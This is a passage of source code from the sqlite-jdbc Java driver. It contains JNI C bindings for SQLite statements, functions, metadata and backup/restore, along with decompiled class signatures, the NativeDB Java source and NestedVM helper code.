    int status = sqlite3_exec(db, strsql, 0, 0, &errorMsg);
    
    (*env)->ReleaseStringUTFChars(env, sql, strsql);

    if (status != SQLITE_OK) {
        throwexmsg(env, errorMsg);
        sqlite3_free(errorMsg);
    }
    return status;
}



JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_errmsg(JNIEnv *env, jobject this)
{
    return (*env)->NewStringUTF(env, sqlite3_errmsg(gethandle(env, this)));
}

JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_libversion(
        JNIEnv *env, jobject this)
{
    return (*env)->NewStringUTF(env, sqlite3_libversion());
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_changes(
        JNIEnv *env, jobject this)
{
    return sqlite3_changes(gethandle(env, this));
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_finalize(
        JNIEnv *env, jobject this, jlong stmt)
{
    return sqlite3_finalize(toref(stmt));
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_step(
        JNIEnv *env, jobject this, jlong stmt)
{
    return sqlite3_step(toref(stmt));
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_reset(
        JNIEnv *env, jobject this, jlong stmt)
{
    return sqlite3_reset(toref(stmt));
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_clear_1bindings(
        JNIEnv *env, jobject this, jlong stmt)
{
    int i;
    int count = sqlite3_bind_parameter_count(toref(stmt));
    jint rc = SQLITE_OK;
    for(i=1; rc==SQLITE_OK && i <= count; i++) {
        rc = sqlite3_bind_null(toref(stmt), i);
    }
    return rc;
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1parameter_1count(
        JNIEnv *env, jobject this, jlong stmt)
{
    return sqlite3_bind_parameter_count(toref(stmt));
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_column_1count(
        JNIEnv *env, jobject this, jlong stmt)
{
    return sqlite3_column_count(toref(stmt));
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_column_1type(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    return sqlite3_column_type(toref(stmt), col);
}

JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_column_1decltype(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    const char *str = sqlite3_column_decltype(toref(stmt), col);
    return (*env)->NewStringUTF(env, str);
}

JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_column_1table_1name(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    const void *str = sqlite3_column_table_name16(toref(stmt), col);
    return str ? (*env)->NewString(env, str, jstrlen(str)) : NULL;
}

JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_column_1name(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    const void *str = sqlite3_column_name16(toref(stmt), col);
    return str ? (*env)->NewString(env, str, jstrlen(str)) : NULL;
}

JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_column_1text(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    return (*env)->NewStringUTF(
        env, (const char*)sqlite3_column_text(toref(stmt), col));
}

JNIEXPORT jbyteArray JNICALL Java_org_sqlite_NativeDB_column_1blob(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    jsize length;
    jbyteArray jBlob;
    jbyte *a;
    const void *blob = sqlite3_column_blob(toref(stmt), col);
    if (!blob) return NULL;

    length = sqlite3_column_bytes(toref(stmt), col);
    jBlob = (*env)->NewByteArray(env, length);
    assert(jBlob); // out-of-memory

    a = (*env)->GetPrimitiveArrayCritical(env, jBlob, 0);
    memcpy(a, blob, length);
    (*env)->ReleasePrimitiveArrayCritical(env, jBlob, a, 0);

    return jBlob;
}

JNIEXPORT jdouble JNICALL Java_org_sqlite_NativeDB_column_1double(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    return sqlite3_column_double(toref(stmt), col);
}

JNIEXPORT jlong JNICALL Java_org_sqlite_NativeDB_column_1long(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    return sqlite3_column_int64(toref(stmt), col);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_column_1int(
        JNIEnv *env, jobject this, jlong stmt, jint col)
{
    return sqlite3_column_int(toref(stmt), col);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1null(
        JNIEnv *env, jobject this, jlong stmt, jint pos)
{
    return sqlite3_bind_null(toref(stmt), pos);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1int(
        JNIEnv *env, jobject this, jlong stmt, jint pos, jint v)
{
    return sqlite3_bind_int(toref(stmt), pos, v);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1long(
        JNIEnv *env, jobject this, jlong stmt, jint pos, jlong v)
{
    return sqlite3_bind_int64(toref(stmt), pos, v);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1double(
        JNIEnv *env, jobject this, jlong stmt, jint pos, jdouble v)
{
    return sqlite3_bind_double(toref(stmt), pos, v);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1text(
        JNIEnv *env, jobject this, jlong stmt, jint pos, jstring v)
{
    const char *chars = (*env)->GetStringUTFChars(env, v, 0);
    int rc = sqlite3_bind_text(toref(stmt), pos, chars, -1, SQLITE_TRANSIENT);
    (*env)->ReleaseStringUTFChars(env, v, chars);
    return rc;
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_bind_1blob(
        JNIEnv *env, jobject this, jlong stmt, jint pos, jbyteArray v)
{
    jint rc;
    void *a;
    jsize size = (*env)->GetArrayLength(env, v);
    assert(a = (*env)->GetPrimitiveArrayCritical(env, v, 0));
    rc = sqlite3_bind_blob(toref(stmt), pos, a, size, SQLITE_TRANSIENT);
    (*env)->ReleasePrimitiveArrayCritical(env, v, a, JNI_ABORT);
    return rc;
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_result_1null(
        JNIEnv *env, jobject this, jlong context)
{
    sqlite3_result_null(toref(context));
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_result_1text(
        JNIEnv *env, jobject this, jlong context, jstring value)
{
    const jchar *str;
    jsize size;

    if (value == NULL) { sqlite3_result_null(toref(context)); return; }
    size = (*env)->GetStringLength(env, value) * 2;

    str = (*env)->GetStringCritical(env, value, 0);
    assert(str); // out-of-memory
    sqlite3_result_text16(toref(context), str, size, SQLITE_TRANSIENT);
    (*env)->ReleaseStringCritical(env, value, str);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_result_1blob(
        JNIEnv *env, jobject this, jlong context, jobject value)
{
    jbyte *bytes;
    jsize size;

    if (value == NULL) { sqlite3_result_null(toref(context)); return; }
    size = (*env)->GetArrayLength(env, value);

    // be careful with *Critical
    bytes = (*env)->GetPrimitiveArrayCritical(env, value, 0);
    assert(bytes); // out-of-memory
    sqlite3_result_blob(toref(context), bytes, size, SQLITE_TRANSIENT);
    (*env)->ReleasePrimitiveArrayCritical(env, value, bytes, JNI_ABORT);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_result_1double(
        JNIEnv *env, jobject this, jlong context, jdouble value)
{
    sqlite3_result_double(toref(context), value);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_result_1long(
        JNIEnv *env, jobject this, jlong context, jlong value)
{
    sqlite3_result_int64(toref(context), value);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_result_1int(
        JNIEnv *env, jobject this, jlong context, jint value)
{
    sqlite3_result_int(toref(context), value);
}




JNIEXPORT jstring JNICALL Java_org_sqlite_NativeDB_value_1text(
        JNIEnv *env, jobject this, jobject f, jint arg)
{
    jint length = 0;
    const void *str = 0;
    sqlite3_value *value = tovalue(env, f, arg);
    if (!value) return NULL;

    length = sqlite3_value_bytes16(value) / 2; // in jchars
    str = sqlite3_value_text16(value);
    return str ? (*env)->NewString(env, str, length) : NULL;
}

JNIEXPORT jbyteArray JNICALL Java_org_sqlite_NativeDB_value_1blob(
        JNIEnv *env, jobject this, jobject f, jint arg)
{
    jsize length;
    jbyteArray jBlob;
    jbyte *a;
    const void *blob;
    sqlite3_value *value = tovalue(env, f, arg);
    if (!value) return NULL;

    blob = sqlite3_value_blob(value);
    if (!blob) return NULL;

    length = sqlite3_value_bytes(value);
    jBlob = (*env)->NewByteArray(env, length);
    assert(jBlob); // out-of-memory

    a = (*env)->GetPrimitiveArrayCritical(env, jBlob, 0);
    memcpy(a, blob, length);
    (*env)->ReleasePrimitiveArrayCritical(env, jBlob, a, 0);

    return jBlob;
}

JNIEXPORT jdouble JNICALL Java_org_sqlite_NativeDB_value_1double(
        JNIEnv *env, jobject this, jobject f, jint arg)
{
    sqlite3_value *value = tovalue(env, f, arg);
    return value ? sqlite3_value_double(value) : 0;
}

JNIEXPORT jlong JNICALL Java_org_sqlite_NativeDB_value_1long(
        JNIEnv *env, jobject this, jobject f, jint arg)
{
    sqlite3_value *value = tovalue(env, f, arg);
    return value ? sqlite3_value_int64(value) : 0;
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_value_1int(
        JNIEnv *env, jobject this, jobject f, jint arg)
{
    sqlite3_value *value = tovalue(env, f, arg);
    return value ? sqlite3_value_int(value) : 0;
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_value_1type(
        JNIEnv *env, jobject this, jobject func, jint arg)
{
    return sqlite3_value_type(tovalue(env, func, arg));
}


JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_create_1function(
        JNIEnv *env, jobject this, jstring name, jobject func)
{
    jint ret = 0;
    const char *strname = 0;
    int isAgg = 0;

    static jfieldID udfdatalist = 0;
    struct UDFData *udf = malloc(sizeof(struct UDFData));

    assert(udf); // out-of-memory

    if (!udfdatalist)
        udfdatalist = (*env)->GetFieldID(env, dbclass, "udfdatalist", "J");

    isAgg = (*env)->IsInstanceOf(env, func, aclass);
    udf->func = (*env)->NewGlobalRef(env, func);
    (*env)->GetJavaVM(env, &udf->vm);

    // add new function def to linked list
    udf->next = toref((*env)->GetLongField(env, this, udfdatalist));
    (*env)->SetLongField(env, this, udfdatalist, fromref(udf));

    strname = (*env)->GetStringUTFChars(env, name, 0);
    assert(strname); // out-of-memory

    ret = sqlite3_create_function(
            gethandle(env, this),
            strname,       // function name
            -1,            // number of args
            SQLITE_UTF16,  // preferred chars
            udf,
            isAgg ? 0 :&xFunc,
            isAgg ? &xStep : 0,
            isAgg ? &xFinal : 0
    );

    (*env)->ReleaseStringUTFChars(env, name, strname);

    return ret;
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_destroy_1function(
        JNIEnv *env, jobject this, jstring name)
{
    const char* strname = (*env)->GetStringUTFChars(env, name, 0);
    sqlite3_create_function(
        gethandle(env, this), strname, -1, SQLITE_UTF16, 0, 0, 0, 0
    );
    (*env)->ReleaseStringUTFChars(env, name, strname);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_free_1functions(
        JNIEnv *env, jobject this)
{
    // clean up all the malloc()ed UDFData instances using the
    // linked list stored in DB.udfdatalist
    jfieldID udfdatalist;
    struct UDFData *udf, *udfpass;

    udfdatalist = (*env)->GetFieldID(env, dbclass, "udfdatalist", "J");
    udf = toref((*env)->GetLongField(env, this, udfdatalist));
    (*env)->SetLongField(env, this, udfdatalist, 0);

    while (udf) {
        udfpass = udf->next;
        (*env)->DeleteGlobalRef(env, udf->func);
        free(udf);
        udf = udfpass;
    }
}


// COMPOUND FUNCTIONS ///////////////////////////////////////////////

JNIEXPORT jobjectArray JNICALL Java_org_sqlite_NativeDB_column_1metadata(
        JNIEnv *env, jobject this, jlong stmt)
{
    const char *zTableName, *zColumnName;
    int pNotNull, pPrimaryKey, pAutoinc, i, colCount;
    jobjectArray array;
    jbooleanArray colData;
    jboolean* colDataRaw;
    sqlite3 *db;
    sqlite3_stmt *dbstmt;

    db = gethandle(env, this);
    dbstmt = toref(stmt);

    colCount = sqlite3_column_count(dbstmt);
    array = (*env)->NewObjectArray(
        env, colCount, (*env)->FindClass(env, "[Z"), NULL) ;
    assert(array); // out-of-memory

    colDataRaw = (jboolean*)malloc(3 * sizeof(jboolean));
    assert(colDataRaw); // out-of-memory

    for (i = 0; i < colCount; i++) {
        // load passed column name and table name
        zColumnName = sqlite3_column_name(dbstmt, i);
        zTableName  = sqlite3_column_table_name(dbstmt, i);

        pNotNull = 0;
        pPrimaryKey = 0;
        pAutoinc = 0;

        // request metadata for column and load into output variables
        if (zTableName && zColumnName) {
            sqlite3_table_column_metadata(
                db, 0, zTableName, zColumnName,
                0, 0, &pNotNull, &pPrimaryKey, &pAutoinc
            );
        }

        // load relevant metadata into 2nd dimension of return results
        colDataRaw[0] = pNotNull;
        colDataRaw[1] = pPrimaryKey;
        colDataRaw[2] = pAutoinc;

        colData = (*env)->NewBooleanArray(env, 3);
        assert(colData); // out-of-memory

        (*env)->SetBooleanArrayRegion(env, colData, 0, 3, colDataRaw);
        (*env)->SetObjectArrayElement(env, array, i, colData);
    }

    free(colDataRaw);

    return array;
}

// backup function

void reportProgress(JNIEnv* env, jobject func, int remaining, int pageCount) {

  static jmethodID mth = 0;
  if (!mth) {
      mth = (*env)->GetMethodID(env, pclass, "progress", "(II)V");
  }
  
  if(!func) 
    return;
        
  (*env)->CallVoidMethod(env, func, mth, remaining, pageCount);
}


/*
** Perform an online backup of database pDb to the database file named
** by zFilename. This function copies 5 database pages from pDb to
** zFilename, then unlocks pDb and sleeps for 250 ms, then repeats the
** process until the entire database is backed up.
** 
** The third argument passed to this function must be a pointer to a progress
** function. After each set of 5 pages is backed up, the progress function
** is invoked with two integer parameters: the number of pages left to
** copy, and the total number of pages in the source file. This information
** may be used, for example, to update a GUI progress bar.
**
** While this function is running, another thread may use the database pDb, or
** another process may access the underlying database file via a separate 
** connection.
**
** If the backup process is successfully completed, SQLITE_OK is returned.
** Otherwise, if an error occurs, an SQLite error code is returned.
*/

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_backup(
  JNIEnv *env, jobject this, 
  jstring zDBName,
  jstring zFilename,      	  /* Name of file to back up to */
  jobject observer			  /* Progress function to invoke */     
)
{
  int rc;                     /* Function return code */
  sqlite3* pDb;               /* Database to back up */
  sqlite3* pFile;             /* Database connection opened on zFilename */
  sqlite3_backup *pBackup;    /* Backup handle used to copy data */
  const char *dFileName;
  const char *dDBName;

  pDb = gethandle(env, this);

  dFileName = (*env)->GetStringUTFChars(env, zFilename, 0);
  dDBName = (*env)->GetStringUTFChars(env, zDBName, 0);
  
  /* Open the database file identified by dFileName. */
  rc = sqlite3_open(dFileName, &pFile);
  if( rc==SQLITE_OK ){

    /* Open the sqlite3_backup object used to accomplish the transfer */
    pBackup = sqlite3_backup_init(pFile, "main", pDb, dDBName);
    if( pBackup ){
	  while((rc = sqlite3_backup_step(pBackup,100))==SQLITE_OK ){}

      /* Release resources allocated by backup_init(). */
      (void)sqlite3_backup_finish(pBackup);
    }
    rc = sqlite3_errcode(pFile);
  }
  
  /* Close the database connection opened on database file zFilename
  ** and return the result of this function. */
  (void)sqlite3_close(pFile);
  return rc;
} 

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_restore(
  JNIEnv *env, jobject this, 
  jstring zDBName,
  jstring zFilename,      	  /* Name of file to back up to */
  jobject observer			  /* Progress function to invoke */     
)
{
  int rc;                     /* Function return code */
  sqlite3* pDb;               /* Database to back up */
  sqlite3* pFile;             /* Database connection opened on zFilename */
  sqlite3_backup *pBackup;    /* Backup handle used to copy data */
  const char *dFileName;
  const char *dDBName;
  int nTimeout = 0;

  pDb = gethandle(env, this);

  dFileName = (*env)->GetStringUTFChars(env, zFilename, 0);
  dDBName = (*env)->GetStringUTFChars(env, zDBName, 0);

  /* Open the database file identified by dFileName. */
  rc = sqlite3_open(dFileName, &pFile);
  if( rc==SQLITE_OK ){

    /* Open the sqlite3_backup object used to accomplish the transfer */
    pBackup = sqlite3_backup_init(pDb, dDBName, pFile, "main");
    if( pBackup ){
	    while( (rc = sqlite3_backup_step(pBackup,100))==SQLITE_OK
    	      || rc==SQLITE_BUSY  ){
     	 	if( rc==SQLITE_BUSY ){
        		if( nTimeout++ >= 3 ) break;
	        	sqlite3_sleep(100);
    		}
	    }
      /* Release resources allocated by backup_init(). */
      (void)sqlite3_backup_finish(pBackup);
    }
    rc = sqlite3_errcode(pFile);
  }
  
  /* Close the database connection opened on database file zFilename
  ** and return the result of this function. */
  (void)sqlite3_close(pFile);
  return rc;
} 











org/sqlite/NativeDB.class


package org.sqlite;
final synchronized class NativeDB extends DB {
    long pointer;
    private static boolean isLoaded;
    private static boolean loadSucceeded;
    private final long udfdatalist;
    void NativeDB();
    static boolean load();
    protected synchronized native void _open(String, int) throws java.sql.SQLException;
    protected synchronized native void _close() throws java.sql.SQLException;
    protected synchronized native int _exec(String) throws java.sql.SQLException;
    synchronized native int shared_cache(boolean);
    synchronized native int enable_load_extension(boolean);
    synchronized native void interrupt();
    synchronized native void busy_timeout(int);
    protected synchronized native long prepare(String) throws java.sql.SQLException;
    synchronized native String errmsg();
    synchronized native String libversion();
    synchronized native int changes();
    protected synchronized native int finalize(long);
    protected synchronized native int step(long);
    protected synchronized native int reset(long);
    synchronized native int clear_bindings(long);
    synchronized native int bind_parameter_count(long);
    synchronized native int column_count(long);
    synchronized native int column_type(long, int);
    synchronized native String column_decltype(long, int);
    synchronized native String column_table_name(long, int);
    synchronized native String column_name(long, int);
    synchronized native String column_text(long, int);
    synchronized native byte[] column_blob(long, int);
    synchronized native double column_double(long, int);
    synchronized native long column_long(long, int);
    synchronized native int column_int(long, int);
    synchronized native int bind_null(long, int);
    synchronized native int bind_int(long, int, int);
    synchronized native int bind_long(long, int, long);
    synchronized native int bind_double(long, int, double);
    synchronized native int bind_text(long, int, String);
    synchronized native int bind_blob(long, int, byte[]);
    synchronized native void result_null(long);
    synchronized native void result_text(long, String);
    synchronized native void result_blob(long, byte[]);
    synchronized native void result_double(long, double);
    synchronized native void result_long(long, long);
    synchronized native void result_int(long, int);
    synchronized native void result_error(long, String);
    synchronized native int value_bytes(Function, int);
    synchronized native String value_text(Function, int);
    synchronized native byte[] value_blob(Function, int);
    synchronized native double value_double(Function, int);
    synchronized native long value_long(Function, int);
    synchronized native int value_int(Function, int);
    synchronized native int value_type(Function, int);
    synchronized native int create_function(String, Function);
    synchronized native int destroy_function(String);
    synchronized native void free_functions();
    synchronized native int backup(String, String, DB$ProgressObserver) throws java.sql.SQLException;
    synchronized native int restore(String, String, DB$ProgressObserver) throws java.sql.SQLException;
    synchronized native boolean[][] column_metadata(long);
    static void throwex(String) throws java.sql.SQLException;
    static void <clinit>();
}










org/sqlite/NativeDB.java



org/sqlite/NativeDB.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */







package org.sqlite;







import java.sql.SQLException;







/** This class provides a thin JNI layer over the SQLite3 C API. */



final class NativeDB extends DB



{



    /** SQLite connection handle. */



    long                   pointer       = 0;







    private static boolean isLoaded      = false;



    private static boolean loadSucceeded = false;







    static boolean load() {



        if (isLoaded)



            return loadSucceeded == true;







        loadSucceeded = SQLiteJDBCLoader.initialize();



        isLoaded = true;



        return loadSucceeded;



    }







    /** linked list of all instanced UDFDatas */



    private final long udfdatalist = 0;







    // WRAPPER FUNCTIONS ////////////////////////////////////////////







    @Override



    protected native synchronized void _open(String file, int openFlags) throws SQLException;







    @Override



    protected native synchronized void _close() throws SQLException;







    @Override



    protected native synchronized int _exec(String sql) throws SQLException;







    @Override



    native synchronized int shared_cache(boolean enable);







    @Override



    native synchronized int enable_load_extension(boolean enable);







    @Override



    native synchronized void interrupt();







    @Override



    native synchronized void busy_timeout(int ms);







    //native synchronized void exec(String sql) throws SQLException;



    @Override



    protected native synchronized long prepare(String sql) throws SQLException;







    @Override



    native synchronized String errmsg();







    @Override



    native synchronized String libversion();







    @Override



    native synchronized int changes();







    @Override



    protected native synchronized int finalize(long stmt);







    @Override



    protected native synchronized int step(long stmt);







    @Override



    protected native synchronized int reset(long stmt);







    @Override



    native synchronized int clear_bindings(long stmt);







    @Override



    native synchronized int bind_parameter_count(long stmt);







    @Override



    native synchronized int column_count(long stmt);







    @Override



    native synchronized int column_type(long stmt, int col);







    @Override



    native synchronized String column_decltype(long stmt, int col);







    @Override



    native synchronized String column_table_name(long stmt, int col);







    @Override



    native synchronized String column_name(long stmt, int col);







    @Override



    native synchronized String column_text(long stmt, int col);







    @Override



    native synchronized byte[] column_blob(long stmt, int col);







    @Override



    native synchronized double column_double(long stmt, int col);







    @Override



    native synchronized long column_long(long stmt, int col);







    @Override



    native synchronized int column_int(long stmt, int col);







    @Override



    native synchronized int bind_null(long stmt, int pos);







    @Override



    native synchronized int bind_int(long stmt, int pos, int v);







    @Override



    native synchronized int bind_long(long stmt, int pos, long v);







    @Override



    native synchronized int bind_double(long stmt, int pos, double v);







    @Override



    native synchronized int bind_text(long stmt, int pos, String v);







    @Override



    native synchronized int bind_blob(long stmt, int pos, byte[] v);







    @Override



    native synchronized void result_null(long context);







    @Override



    native synchronized void result_text(long context, String val);







    @Override



    native synchronized void result_blob(long context, byte[] val);







    @Override



    native synchronized void result_double(long context, double val);







    @Override



    native synchronized void result_long(long context, long val);







    @Override



    native synchronized void result_int(long context, int val);







    @Override



    native synchronized void result_error(long context, String err);







    @Override



    native synchronized int value_bytes(Function f, int arg);







    @Override



    native synchronized String value_text(Function f, int arg);







    @Override



    native synchronized byte[] value_blob(Function f, int arg);







    @Override



    native synchronized double value_double(Function f, int arg);







    @Override



    native synchronized long value_long(Function f, int arg);







    @Override



    native synchronized int value_int(Function f, int arg);







    @Override



    native synchronized int value_type(Function f, int arg);







    @Override



    native synchronized int create_function(String name, Function func);







    @Override



    native synchronized int destroy_function(String name);







    @Override



    native synchronized void free_functions();







    @Override



    native synchronized int backup(String dbName, String destFileName, ProgressObserver observer) throws SQLException;







    @Override



    native synchronized int restore(String dbName, String sourceFileName, ProgressObserver observer)



            throws SQLException;







    // COMPOUND FUNCTIONS (for optimisation) /////////////////////////







    /**



     * Provides metadata for the columns of a statement. Returns: res[col][0] =



     * true if column constrained NOT NULL res[col][1] = true if column is part



     * of the primary key res[col][2] = true if column is auto-increment



     */



    @Override



    native synchronized boolean[][] column_metadata(long stmt);







    static void throwex(String msg) throws SQLException {



        throw new SQLException(msg);



    }



}










org/sqlite/NestedDB$CausedSQLException.class


package org.sqlite;
final synchronized class NestedDB$CausedSQLException extends java.sql.SQLException {
    private final Exception cause;
    void NestedDB$CausedSQLException(Exception);
    public Throwable getCause();
    public void printStackTrace();
    public void printStackTrace(java.io.PrintWriter);
    public Throwable fillInStackTrace();
    public StackTraceElement[] getStackTrace();
    public String getMessage();
}










org/sqlite/NestedDB.c


/*
 * Copyright (c) 2007 David Crawshaw <david@zentus.com>
 * 
 * Permission to use, copy, modify, and/or distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */

#include <stdlib.h>
#include "sqlite3.h"

/* Provides access to metadata across NestedVM 7-argument limit on functions.*/
struct metadata {
  int pNotNull;
  int pPrimaryKey;
  int pAutoinc;
};

int column_metadata_helper(
  sqlite3 *db,
  sqlite3_stmt *stmt,
  int col,
  struct metadata *p
){
  const char *zTableName, *zColumnName;
  int rc = 0;

  p->pNotNull = 0;
  p->pPrimaryKey = 0;
  p->pAutoinc = 0;

  zTableName = sqlite3_column_table_name(stmt, col);
  zColumnName = sqlite3_column_name(stmt, col);

  if (zTableName && zColumnName) {
    rc = sqlite3_table_column_metadata(
      db, 0, zTableName, zColumnName, 0, 0,
      &p->pNotNull, &p->pPrimaryKey, &p->pAutoinc
    );
  }

  return rc;
}


extern int _call_java(int xType, int context, int args, int value);

void xFunc_helper(sqlite3_context *context, int args, sqlite3_value** value)
{
    _call_java(1, (int)context, args, (int)value);
}

void xStep_helper(sqlite3_context *context, int args, sqlite3_value** value)
{
    _call_java(2, (int)context, args, (int)value);
}

void xFinal_helper(sqlite3_context *context)
{
    _call_java(3, (int)context, 0, 0);
}

/* create function if pos is non-negative, aggregate if agg is true */
int create_function_helper(sqlite3 *db, const char *name, int pos, int agg)
{
    return sqlite3_create_function(db, name, -1, SQLITE_ANY, (void*)pos,
            pos>=0 && !agg ? &xFunc_helper : 0,
            pos>=0 &&  agg ? &xStep_helper : 0,
            pos>=0 &&  agg ? &xFinal_helper : 0);
}










org/sqlite/NestedDB.class


package org.sqlite;
final synchronized class NestedDB extends DB implements org.ibex.nestedvm.Runtime$CallJavaCB {
    int handle;
    private org.ibex.nestedvm.Runtime rt;
    private Function[] functions;
    private String[] funcNames;
    private final int[] p0;
    private final int[] p1;
    private final int[] p2;
    private final int[] p3;
    private final int[] p4;
    private final int[] p5;
    void NestedDB();
    protected synchronized void _open(String, int) throws java.sql.SQLException;
    public int call(int, int, int, int);
    protected synchronized void _close() throws java.sql.SQLException;
    int shared_cache(boolean) throws java.sql.SQLException;
    int enable_load_extension(boolean) throws java.sql.SQLException;
    synchronized void interrupt() throws java.sql.SQLException;
    synchronized void busy_timeout(int) throws java.sql.SQLException;
    protected synchronized long prepare(String) throws java.sql.SQLException;
    synchronized String errmsg() throws java.sql.SQLException;
    synchronized String libversion() throws java.sql.SQLException;
    synchronized int changes() throws java.sql.SQLException;
    protected synchronized int _exec(String) throws java.sql.SQLException;
    protected synchronized int finalize(long) throws java.sql.SQLException;
    protected synchronized int step(long) throws java.sql.SQLException;
    protected synchronized int reset(long) throws java.sql.SQLException;
    synchronized int clear_bindings(long) throws java.sql.SQLException;
    synchronized int bind_parameter_count(long) throws java.sql.SQLException;
    synchronized int column_count(long) throws java.sql.SQLException;
    synchronized int column_type(long, int) throws java.sql.SQLException;
    synchronized String column_name(long, int) throws java.sql.SQLException;
    synchronized String column_text(long, int) throws java.sql.SQLException;
    synchronized byte[] column_blob(long, int) throws java.sql.SQLException;
    synchronized double column_double(long, int) throws java.sql.SQLException;
    synchronized long column_long(long, int) throws java.sql.SQLException;
    synchronized int column_int(long, int) throws java.sql.SQLException;
    synchronized String column_decltype(long, int) throws java.sql.SQLException;
    synchronized String column_table_name(long, int) throws java.sql.SQLException;
    synchronized int bind_null(long, int) throws java.sql.SQLException;
    synchronized int bind_int(long, int, int) throws java.sql.SQLException;
    synchronized int bind_long(long, int, long) throws java.sql.SQLException;
    synchronized int bind_double(long, int, double) throws java.sql.SQLException;
    synchronized int bind_text(long, int, String) throws java.sql.SQLException;
    synchronized int bind_blob(long, int, byte[]) throws java.sql.SQLException;
    synchronized void result_null(long) throws java.sql.SQLException;
    synchronized void result_text(long, String) throws java.sql.SQLException;
    synchronized void result_blob(long, byte[]) throws java.sql.SQLException;
    synchronized void result_double(long, double) throws java.sql.SQLException;
    synchronized void result_long(long, long) throws java.sql.SQLException;
    synchronized void result_int(long, int) throws java.sql.SQLException;
    synchronized void result_error(long, String) throws java.sql.SQLException;
    synchronized int value_bytes(Function, int) throws java.sql.SQLException;
    synchronized String value_text(Function, int) throws java.sql.SQLException;
    synchronized byte[] value_blob(Function, int) throws java.sql.SQLException;
    synchronized double value_double(Function, int) throws java.sql.SQLException;
    synchronized long value_long(Function, int) throws java.sql.SQLException;
    synchronized int value_int(Function, int) throws java.sql.SQLException;
    synchronized int value_type(Function, int) throws java.sql.SQLException;
    private int value(Function, int) throws java.sql.SQLException;
    synchronized int create_function(String, Function) throws java.sql.SQLException;
    synchronized int destroy_function(String) throws java.sql.SQLException;
    synchronized void free_functions();
    synchronized void xUDF(int, int, int, int);
    synchronized boolean[][] column_metadata(long) throws java.sql.SQLException;
    int backup(String, String, DB$ProgressObserver) throws java.sql.SQLException;
    int restore(String, String, DB$ProgressObserver) throws java.sql.SQLException;
    private int call(String, int) throws java.sql.SQLException;
    private int call(String, int, int) throws java.sql.SQLException;
    private int call(String, int, int, int) throws java.sql.SQLException;
    private int call(String, int, int, int, int) throws java.sql.SQLException;
    private int call(String, int, int, int, int, int) throws java.sql.SQLException;
    private int call(String, int[]) throws java.sql.SQLException;
    private int deref(int) throws java.sql.SQLException;
    private String utfstring(int) throws java.sql.SQLException;
    private String cstring(int) throws java.sql.SQLException;
